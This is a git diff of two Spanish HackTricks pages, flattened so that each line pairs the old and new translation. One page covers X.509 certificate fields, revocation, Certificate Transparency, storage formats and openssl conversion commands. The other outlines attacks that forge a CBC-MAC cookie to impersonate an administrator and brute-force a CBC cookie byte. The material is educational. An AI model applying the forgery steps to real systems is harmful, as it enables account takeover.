Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas**.\ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy: ¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## ¿Qué es un Certificado? ## ¿Qué es un Certificado
En criptografía, un **certificado de clave pública**, también conocido como **certificado digital** o **certificado de identidad**, es un documento electrónico utilizado para demostrar la propiedad de una clave pública. El certificado incluye información sobre la clave, información sobre la identidad de su propietario (llamado el sujeto) y la firma digital de una entidad que ha verificado el contenido del certificado (llamado el emisor). Si la firma es válida y el software que examina el certificado confía en el emisor, entonces puede usar esa clave para comunicarse de manera segura con el sujeto del certificado. En criptografía, un **certificado de clave pública**, también conocido como **certificado digital** o **certificado de identidad**, es un documento electrónico utilizado para demostrar la propiedad de una clave pública. El certificado incluye información sobre la clave, información sobre la identidad de su propietario (llamado el sujeto) y la firma digital de una entidad que ha verificado el contenido del certificado (llamado el emisor). Si la firma es válida y el software que examina el certificado confía en el emisor, entonces puede usar esa clave para comunicarse de forma segura con el sujeto del certificado.
En un esquema típico de [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI), el emisor del certificado es una [autoridad de certificación](https://en.wikipedia.org/wiki/Certificate_authority) (CA), generalmente una empresa que cobra a los clientes por emitir certificados para ellos. Por el contrario, en un esquema de [red de confianza](https://en.wikipedia.org/wiki/Web_of_trust), los individuos firman directamente las claves de los demás, en un formato que realiza una función similar a un certificado de clave pública. En un esquema típico de [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI), el emisor del certificado es una [autoridad de certificación](https://en.wikipedia.org/wiki/Certificate\_authority) (CA), generalmente una empresa que cobra a los clientes por emitir certificados para ellos. En contraste, en un esquema de [red de confianza](https://en.wikipedia.org/wiki/Web\_of\_trust), los individuos firman directamente las claves de los demás, en un formato que realiza una función similar a la de un certificado de clave pública.
El formato más común para los certificados de clave pública está definido por [X.509](https://en.wikipedia.org/wiki/X.509). Debido a que X.509 es muy general, el formato está más restringido por perfiles definidos para ciertos casos de uso, como [Infraestructura de Clave Pública (X.509)](https://en.wikipedia.org/wiki/PKIX) según se define en el RFC 5280. El formato más común para los certificados de clave pública está definido por [X.509](https://en.wikipedia.org/wiki/X.509). Debido a que X.509 es muy general, el formato está aún más restringido por perfiles definidos para ciertos casos de uso, como [Infraestructura de Clave Pública (X.509)](https://en.wikipedia.org/wiki/PKIX) como se define en RFC 5280.
## Campos Comunes de x509 ## Campos Comunes de x509
* **Número de Versión:** Versión del formato x509. * **Número de Versión:** Versión del formato x509.
* **Número de Serie**: Utilizado para identificar de manera única el certificado dentro de los sistemas de una CA. En particular, se utiliza para rastrear información de revocación. * **Número de Serie**: Utilizado para identificar de forma única el certificado dentro de los sistemas de una CA. En particular, se utiliza para hacer un seguimiento de la información de revocación.
* **Sujeto**: La entidad a la que pertenece un certificado: una máquina, un individuo o una organización. * **Sujeto**: La entidad a la que pertenece un certificado: una máquina, un individuo o una organización.
* **Nombre Común**: Dominios afectados por el certificado. Puede ser 1 o más y puede contener comodines. * **Nombre Común**: Dominios afectados por el certificado. Puede ser 1 o más y puede contener comodines.
* **País (C)**: País * **País (C)**: País
* **Nombre Distinguido (DN)**: Todo el sujeto: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net` * **Nombre Distintivo (DN)**: Todo el sujeto: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
* **Localidad (L)**: Lugar local * **Localidad (L)**: Lugar local
* **Organización (O)**: Nombre de la organización * **Organización (O)**: Nombre de la organización
* **Unidad Organizativa (OU)**: División de una organización (como "Recursos Humanos"). * **Unidad Organizativa (OU)**: División de una organización (como "Recursos Humanos").
* **Estado o Provincia (ST, S o P)**: Lista de nombres de estado o provincia * **Estado o Provincia (ST, S o P)**: Lista de nombres de estados o provincias
* **Emisor**: La entidad que verificó la información y firmó el certificado. * **Emisor**: La entidad que verificó la información y firmó el certificado.
* **Nombre Común (CN)**: Nombre de la autoridad certificadora * **Nombre Común (CN)**: Nombre de la autoridad de certificación
* **País (C)**: País de la autoridad certificadora * **País (C)**: País de la autoridad de certificación
* **Nombre Distinguido (DN)**: Nombre distinguido de la autoridad certificadora * **Nombre Distintivo (DN)**: Nombre distintivo de la autoridad de certificación
* **Localidad (L)**: Lugar local donde se puede encontrar la organización. * **Localidad (L)**: Lugar local donde se puede encontrar la organización.
* **Organización (O)**: Nombre de la organización * **Organización (O)**: Nombre de la organización
* **Unidad Organizativa (OU)**: División de una organización (como "Recursos Humanos"). * **Unidad Organizativa (OU)**: División de una organización (como "Recursos Humanos").
* **No Antes**: La fecha y hora más tempranas en las que el certificado es válido. Generalmente se establece a unas pocas horas o días antes del momento en que se emitió el certificado, para evitar problemas de [desfase de reloj](https://en.wikipedia.org/wiki/Clock_skew#On_a_network). * **No Antes de**: La fecha y hora más temprana en la que el certificado es válido. Por lo general, se establece unas horas o días antes del momento en que se emitió el certificado, para evitar problemas de [desviación de reloj](https://en.wikipedia.org/wiki/Clock\_skew#On\_a\_network).
* **No Después**: La fecha y hora después de las cuales el certificado ya no es válido. * **No Después de**: La fecha y hora después de la cual el certificado ya no es válido.
* **Clave Pública**: Una clave pública perteneciente al sujeto del certificado. (Esta es una de las partes principales ya que es lo que firma la CA) * **Clave Pública**: Una clave pública perteneciente al sujeto del certificado. (Esta es una de las partes principales ya que es lo que firma la CA)
* **Algoritmo de Clave Pública**: Algoritmo utilizado para generar la clave pública. Como RSA. * **Algoritmo de Clave Pública**: Algoritmo utilizado para generar la clave pública. Como RSA.
* **Curva de Clave Pública**: La curva utilizada por el algoritmo de clave pública de curva elíptica (si aplica). Como nistp521. * **Curva de Clave Pública**: La curva utilizada por el algoritmo de clave pública de curva elíptica (si aplica). Como nistp521.
@ -58,38 +58,38 @@ El formato más común para los certificados de clave pública está definido po
* **Tamaño de Clave Pública**: El tamaño del espacio de clave pública en bits. Como 2048. * **Tamaño de Clave Pública**: El tamaño del espacio de clave pública en bits. Como 2048.
* **Algoritmo de Firma**: El algoritmo utilizado para firmar el certificado de clave pública. * **Algoritmo de Firma**: El algoritmo utilizado para firmar el certificado de clave pública.
* **Firma**: Una firma del cuerpo del certificado por la clave privada del emisor. * **Firma**: Una firma del cuerpo del certificado por la clave privada del emisor.
* **extensiones x509v3** * **Extensiones x509v3**
* **Uso de Clave**: Los usos criptográficos válidos de la clave pública del certificado. Los valores comunes incluyen validación de firma digital, cifrado de clave y firma de certificado. * **Uso de Clave**: Los usos criptográficos válidos de la clave pública del certificado. Los valores comunes incluyen validación de firma digital, cifrado de clave y firma de certificado.
* En un certificado web, esto aparecerá como una _extensión X509v3_ y tendrá el valor `Firma Digital` * En un certificado web esto aparecerá como una _extensión X509v3_ y tendrá el valor `Firma Digital`
* **Uso Extendido de Clave**: Las aplicaciones en las que se puede utilizar el certificado. Los valores comunes incluyen autenticación de servidor TLS, protección de correo electrónico y firma de código. * **Uso Extendido de Clave**: Las aplicaciones en las que se puede utilizar el certificado. Los valores comunes incluyen autenticación de servidor TLS, protección de correo electrónico y firma de código.
* En un certificado web, esto aparecerá como una _extensión X509v3_ y tendrá el valor `Autenticación de Servidor Web TLS` * En un certificado web esto aparecerá como una _extensión X509v3_ y tendrá el valor `Autenticación de Servidor Web TLS`
* **Nombre Alternativo del Sujeto:** Permite a los usuarios especificar nombres de host adicionales para un único certificado SSL. El uso de la extensión SAN es una práctica estándar para los certificados SSL, y está en camino de reemplazar el uso del nombre común. * **Nombre Alternativo del Sujeto:** Permite a los usuarios especificar nombres de host adicionales para un solo **certificado** SSL. El uso de la extensión SAN es una práctica estándar para los certificados SSL y está en camino de reemplazar el uso del **nombre** común.
* **Restricción Básica:** Esta extensión describe si el certificado es un certificado de CA o un certificado de entidad final. Un certificado de CA es algo que firma certificados de otros y un certificado de entidad final es el certificado utilizado en una página web, por ejemplo (la última parte de la cadena). * **Restricción Básica:** Esta extensión describe si el certificado es un certificado de CA o un certificado de entidad final. Un certificado de CA es algo que firma certificados de otros y un certificado de entidad final es el certificado utilizado en una página web, por ejemplo (la última parte de la cadena).
* **Identificador de Clave del Sujeto** (SKI): Esta extensión declara un identificador único para la clave pública en el certificado. Es obligatorio en todos los certificados de CA. Las CA propagan su propio SKI al Identificador de Clave del Emisor (AKI) en los certificados emitidos. Es el hash de la clave pública del sujeto. * **Identificador de Clave del Sujeto** (SKI): Esta extensión declara un **identificador** único para la **clave pública** en el certificado. Es necesario en todos los certificados de CA. Las CA propagan su propio SKI a la extensión Identificador de Clave del Emisor (AKI) en los certificados emitidos. Es el hash de la clave pública del sujeto.
* **Identificador de Clave de Autoridad**: Contiene un identificador de clave que se deriva de la clave pública en el certificado del emisor. Es el hash de la clave pública del emisor. * **Identificador de Clave de Autoridad**: Contiene un identificador de clave que se deriva de la clave pública en el certificado del emisor. Es el hash de la clave pública del emisor.
* **Acceso a Información de Autoridad** (AIA): Esta extensión contiene como máximo dos tipos de información: * **Acceso a la Información de la Autoridad** (AIA): Esta extensión contiene como máximo dos tipos de información:
* Información sobre **cómo obtener el emisor de este certificado** (método de acceso al emisor de CA) * Información sobre **cómo obtener el emisor de este certificado** (método de acceso del emisor de la CA)
* Dirección del **respondedor OCSP de donde se puede verificar la revocación de este certificado** (método de acceso OCSP). * Dirección del **respondedor OCSP desde donde se puede verificar la revocación de este certificado** (método de acceso OCSP).
* **Puntos de Distribución de CRL**: Esta extensión identifica la ubicación de la CRL desde la cual se puede verificar la revocación de este certificado. La aplicación que procesa el certificado puede obtener la ubicación de la CRL de esta extensión, descargar la CRL y luego verificar la revocación de este certificado. * **Puntos de Distribución de la LCR**: Esta extensión identifica la ubicación de la LCR desde la cual se puede verificar la revocación de este certificado. La aplicación que procesa el certificado puede obtener la ubicación de la LCR desde esta extensión, descargar la LCR y luego verificar la revocación de este certificado.
* **CT Precertificate SCTs**: Registros de transparencia de certificados con respecto al certificado * **CT Precertificate SCTs**: Registros de transparencia de certificados con respecto al certificado
### Diferencia entre OCSP y Puntos de Distribución de CRL ### Diferencia entre OCSP y Puntos de Distribución de la LCR
**OCSP** (RFC 2560) es un protocolo estándar que consiste en un **cliente OCSP y un respondedor OCSP**. Este protocolo **determina el estado de revocación de un certificado de clave pública digital dado** **sin** tener que **descargar** la **CRL completa**.\ **OCSP** (RFC 2560) es un protocolo estándar que consiste en un **cliente OCSP y un respondedor OCSP**. Este protocolo **determina el estado de revocación de un certificado digital de clave pública dado** **sin** tener que **descargar** la **LCR completa**.\
**CRL** es el **método tradicional** de verificar la validez de un certificado. Una **CRL proporciona una lista de números de serie de certificados** que han sido revocados o ya no son válidos. Las CRL permiten al verificador comprobar el estado de revocación del certificado presentado mientras lo verifica. Las CRL están limitadas a 512 entradas.\ **LCR** es el **método tradicional** para verificar la validez del certificado. Una **LCR proporciona una lista de números de serie de certificados** que han sido revocados o ya no son válidos. Las LCR permiten al verificador verificar el estado de revocación del certificado presentado mientras lo verifica. Las LCR están limitadas a 512 entradas.\
Desde [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). De [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
### ¿Qué es la Transparencia de Certificados? ### ¿Qué es la Transparencia de Certificados
La Transparencia de Certificados tiene como objetivo remediar las amenazas basadas en certificados al **hacer que la emisión y existencia de certificados SSL sean abiertas al escrutinio por parte de los propietarios de dominios, las CA y los usuarios de dominios**. Específicamente, la Transparencia de Certificados tiene tres objetivos principales: La Transparencia de Certificados tiene como objetivo remediar las amenazas basadas en certificados al **hacer que la emisión y existencia de certificados SSL sean visibles para la escrutinio de los propietarios de dominios, las CAs y los usuarios de dominios**. Específicamente, la Transparencia de Certificados tiene tres objetivos principales:
* Hacer imposible (o al menos muy difícil) que una CA **emita un certificado SSL para un dominio sin que el certificado sea visible para el propietario** de ese dominio. * Hacer imposible (o al menos muy difícil) que una CA **emita un certificado SSL para un dominio sin que el propietario** de ese dominio **pueda ver el certificado**.
* Proporcionar un **sistema de auditoría y monitoreo abierto que permita a cualquier propietario de dominio o CA determinar si los certificados han sido emitidos por error o de manera maliciosa**. * Proporcionar un **sistema de auditoría y monitoreo abierto** que permita a cualquier propietario de dominio o CA determinar si se han emitido certificados por error o maliciosamente.
* **Proteger a los usuarios** (tanto como sea posible) de ser engañados por certificados que fueron emitidos por error o de manera maliciosa. * **Proteger a los usuarios** (en la medida de lo posible) de ser engañados por certificados que se hayan emitido por error o maliciosamente.
#### **Registros de Certificados** #### **Registros de Certificados**
Los registros de certificados son servicios de red simples que mantienen **registros de certificados asegurados criptográficamente, públicamente auditables y solo de adición**. **Cualquiera puede enviar certificados a un registro**, aunque es probable que las autoridades de certificación sean los principales remitentes. Del mismo modo, cualquiera puede consultar un registro para obtener una prueba criptográfica, que se puede usar para verificar que el registro se está comportando correctamente o verificar que un certificado en particular ha sido registrado. No tiene que haber un gran número de servidores de registro (digamos, mucho menos de mil en todo el mundo), y cada uno podría ser operado independientemente por una CA, un ISP o cualquier otra parte interesada. Los registros de certificados son servicios de red simples que mantienen **registros de certificados garantizados criptográficamente, públicamente auditables, de solo adición**. **Cualquiera puede enviar certificados a un registro**, aunque es probable que las autoridades de certificación sean los principales remitentes. Del mismo modo, cualquiera puede consultar un registro para obtener una prueba criptográfica, que se puede utilizar para verificar que el registro esté funcionando correctamente o verificar que un certificado en particular haya sido registrado. El número de servidores de registro no tiene por qué ser grande (digamos, mucho menos de mil en todo el mundo), y cada uno podría ser operado de forma independiente por una CA, un ISP o cualquier otra parte interesada.
#### Consulta #### Consulta
@ -97,14 +97,14 @@ Puedes consultar los registros de Transparencia de Certificados de cualquier dom
## Formatos ## Formatos
Hay diferentes formatos que se pueden usar para almacenar un certificado. Existen diferentes formatos que se pueden utilizar para almacenar un certificado.
#### **Formato PEM** #### **Formato PEM**
* Es el formato más común utilizado para certificados * Es el formato más común utilizado para los certificados
* La mayoría de los servidores (Ej: Apache) esperan que los certificados y la clave privada estén en archivos separados\ * La mayoría de los servidores (por ejemplo, Apache) esperan que los certificados y la clave privada estén en archivos separados\
\- Por lo general, son archivos ASCII codificados en Base64\ \- Por lo general, son archivos ASCII codificados en Base64\
\- Las extensiones utilizadas para certificados PEM son archivos .cer, .crt, .pem, .key\ \- Las extensiones utilizadas para los certificados PEM son .cer, .crt, .pem, .key\
\- Apache y servidores similares utilizan certificados en formato PEM \- Apache y servidores similares utilizan certificados en formato PEM
#### **Formato DER** #### **Formato DER**
@ -113,21 +113,21 @@ Hay diferentes formatos que se pueden usar para almacenar un certificado.
* Todos los tipos de certificados y claves privadas pueden codificarse en formato DER * Todos los tipos de certificados y claves privadas pueden codificarse en formato DER
* Los certificados en formato DER no contienen las declaraciones "BEGIN CERTIFICATE/END CERTIFICATE" * Los certificados en formato DER no contienen las declaraciones "BEGIN CERTIFICATE/END CERTIFICATE"
* Los certificados en formato DER suelen usar las extensiones .cer y '.der' * Los certificados en formato DER suelen usar las extensiones .cer y '.der'
* DER se utiliza típicamente en plataformas Java * DER se utiliza típicamente en Plataformas Java
#### **Formato P7B/PKCS#7** #### **Formato P7B/PKCS#7**
* El formato PKCS#7 o P7B se almacena en formato ASCII Base64 y tiene una extensión de archivo de .p7b o .p7c * El formato PKCS#7 o P7B se almacena en formato Base64 ASCII y tiene una extensión de archivo .p7b o .p7c
* Un archivo P7B solo contiene certificados y certificados de cadena (CAs intermedias), no la clave privada * Un archivo P7B solo contiene certificados y certificados de cadena (CAs intermedias), no la clave privada
* Las plataformas más comunes que admiten archivos P7B son Microsoft Windows y Java Tomcat * Las plataformas más comunes que admiten archivos P7B son Microsoft Windows y Java Tomcat
#### **Formato PFX/P12/PKCS#12** #### **Formato PFX/P12/PKCS#12**
* El formato PKCS#12 o PFX/P12 es un formato binario para almacenar el certificado del servidor, los certificados intermedios y la clave privada en un solo archivo encriptable * El formato PKCS#12 o PFX/P12 es un formato binario para almacenar el certificado del servidor, certificados intermedios y la clave privada en un archivo cifrable
* Estos archivos generalmente tienen extensiones como .pfx y .p12 * Estos archivos suelen tener extensiones como .pfx y .p12
* Por lo general, se utilizan en máquinas Windows para importar y exportar certificados y claves privadas * Se utilizan típicamente en máquinas Windows para importar y exportar certificados y claves privadas
### Conversiones de formatos ### Conversiones de Formatos
**Convertir x509 a PEM** **Convertir x509 a PEM**
``` ```
@ -143,7 +143,7 @@ openssl x509 -inform der -in certificatename.der -out certificatename.pem
``` ```
**Convertir PEM a P7B** **Convertir PEM a P7B**
**Nota:** El formato PKCS#7 o P7B se almacena en formato ASCII Base64 y tiene una extensión de archivo de .p7b o .p7c. Un archivo P7B solo contiene certificados y certificados de cadena (CAs intermedias), no la clave privada. Las plataformas más comunes que admiten archivos P7B son Microsoft Windows y Java Tomcat. **Nota:** El formato PKCS#7 o P7B se almacena en formato Base64 ASCII y tiene una extensión de archivo .p7b o .p7c. Un archivo P7B solo contiene certificados y certificados de cadena (CAs intermedios), no la clave privada. Las plataformas más comunes que admiten archivos P7B son Microsoft Windows y Java Tomcat.
``` ```
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
``` ```
@ -153,7 +153,7 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**Convertir pfx a PEM** **Convertir pfx a PEM**
**Nota:** El formato PKCS#12 o PFX es un formato binario para almacenar el certificado del servidor, certificados intermedios y la clave privada en un archivo encriptable. Los archivos PFX suelen tener extensiones como .pfx y .p12. Los archivos PFX se utilizan típicamente en máquinas Windows para importar y exportar certificados y claves privadas. **Nota:** El formato PKCS#12 o PFX es un formato binario para almacenar el certificado del servidor, certificados intermedios y la clave privada en un archivo encriptable. Los archivos PFX suelen tener extensiones como .pfx y .p12. Los archivos PFX se utilizan típicamente en máquinas con Windows para importar y exportar certificados y claves privadas.
``` ```
openssl pkcs12 -in certificatename.pfx -out certificatename.pem openssl pkcs12 -in certificatename.pfx -out certificatename.pem
``` ```
@ -175,28 +175,28 @@ openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
**2- Convertir CER y clave privada a PFX** **2- Convertir CER y Clave Privada a PFX**
``` ```
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
``` ```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
Obtén Acceso Hoy: Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtenga el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,65 +1,65 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
# CBC # CBC
Si la **cookie** es **solo** el **nombre de usuario** (o la primera parte de la cookie es el nombre de usuario) y quieres suplantar al usuario "**admin**". Entonces, puedes crear el nombre de usuario **"bdmin"** y **fuerza bruta** el **primer byte** de la cookie. Si la **cookie** es **solo** el **nombre de usuario** (o la primera parte de la cookie es el nombre de usuario) y deseas hacerse pasar por el nombre de usuario "**admin**". Entonces, puedes crear el nombre de usuario **"bdmin"** y **bruteforcear** el **primer byte** de la cookie.
# CBC-MAC # CBC-MAC
En criptografía, un **código de autenticación de mensajes en modo de encadenamiento de bloques de cifrado** (**CBC-MAC**) es una técnica para construir un código de autenticación de mensajes a partir de un cifrado de bloque. El mensaje se cifra con algún algoritmo de cifrado de bloque en modo CBC para crear una **cadena de bloques de tal manera que cada bloque dependa de la correcta encriptación del bloque anterior**. Esta interdependencia asegura que un **cambio** en **cualquier** bit del texto plano provocará que el **bloque cifrado final** cambie de una manera que no se puede predecir o contrarrestar sin conocer la clave del cifrado de bloque. En criptografía, un **código de autenticación de mensajes de cifrado en modo de cadena de bloques** (**CBC-MAC**) es una técnica para construir un código de autenticación de mensajes a partir de un cifrado de bloques. El mensaje se cifra con algún algoritmo de cifrado de bloques en modo CBC para crear una **cadena de bloques de tal manera que cada bloque depende del cifrado adecuado del bloque anterior**. Esta interdependencia asegura que un **cambio** en **cualquiera** de los **bits** del texto plano hará que el **último bloque cifrado** cambie de una manera que no se puede predecir o contrarrestar sin conocer la clave del cifrado de bloques.
Para calcular el CBC-MAC de un mensaje m, se cifra m en modo CBC con un vector de inicialización cero y se mantiene el último bloque. La siguiente figura esquematiza el cálculo del CBC-MAC de un mensaje compuesto por bloques![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) utilizando una clave secreta k y un cifrado de bloque E: Para calcular el CBC-MAC del mensaje m, se cifra m en modo CBC con un vector de inicialización cero y se conserva el último bloque. La siguiente figura esboza el cálculo del CBC-MAC de un mensaje que comprende bloques ![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) utilizando una clave secreta k y un cifrado de bloques E:
![Estructura de CBC-MAC (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png) ![CBC-MAC structure (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
# Vulnerabilidad # Vulnerabilidad
Con CBC-MAC usualmente el **IV utilizado es 0**.\ Con CBC-MAC, por lo general, el **IV utilizado es 0**.\
Esto es un problema porque 2 mensajes conocidos (`m1` y `m2`) independientemente generarán 2 firmas (`s1` y `s2`). Entonces: Esto es un problema porque 2 mensajes conocidos (`m1` y `m2`) generarán 2 firmas (`s1` y `s2`) de forma independiente. Así:
* `E(m1 XOR 0) = s1` * `E(m1 XOR 0) = s1`
* `E(m2 XOR 0) = s2` * `E(m2 XOR 0) = s2`
Luego, un mensaje compuesto por m1 y m2 concatenados (m3) generará 2 firmas (s31 y s32): Entonces, un mensaje compuesto por m1 y m2 concatenados (m3) generará 2 firmas (s31 y s32):
* `E(m1 XOR 0) = s31 = s1` * `E(m1 XOR 0) = s31 = s1`
* `E(m2 XOR s1) = s32` * `E(m2 XOR s1) = s32`
**Lo cual es posible calcular sin conocer la clave de la encriptación.** **Lo cual es posible de calcular sin conocer la clave del cifrado.**
Imagina que estás cifrando el nombre **Administrator** en bloques de **8bytes**: Imagina que estás cifrando el nombre **Administrador** en bloques de **8 bytes**:
* `Administ` * `Administ`
* `rator\00\00\00` * `rator\00\00\00`
Puedes crear un nombre de usuario llamado **Administ** (m1) y obtener la firma (s1).\ Puedes crear un nombre de usuario llamado **Administ** (m1) y recuperar la firma (s1).\
Luego, puedes crear un nombre de usuario llamado el resultado de `rator\00\00\00 XOR s1`. Esto generará `E(m2 XOR s1 XOR 0)` que es s32.\ Luego, puedes crear un nombre de usuario llamado el resultado de `rator\00\00\00 XOR s1`. Esto generará `E(m2 XOR s1 XOR 0)` que es s32.\
Ahora, puedes usar s32 como la firma del nombre completo **Administrator**. Ahora, puedes usar s32 como la firma del nombre completo **Administrador**.
### Resumen ### Resumen
1. Obtén la firma del nombre de usuario **Administ** (m1) que es s1 1. Obtén la firma del nombre de usuario **Administ** (m1) que es s1
2. Obtén la firma del nombre de usuario **rator\x00\x00\x00 XOR s1 XOR 0** que es s32**.** 2. Obtén la firma del nombre de usuario **rator\x00\x00\x00 XOR s1 XOR 0** que es s32**.**
3. Establece la cookie a s32 y será una cookie válida para el usuario **Administrator**. 3. Establece la cookie como s32 y será una cookie válida para el usuario **Administrador**.
# Ataque Controlando IV # Ataque Controlando el IV
Si puedes controlar el IV utilizado, el ataque podría ser muy fácil.\ Si puedes controlar el IV utilizado, el ataque podría ser muy fácil.\
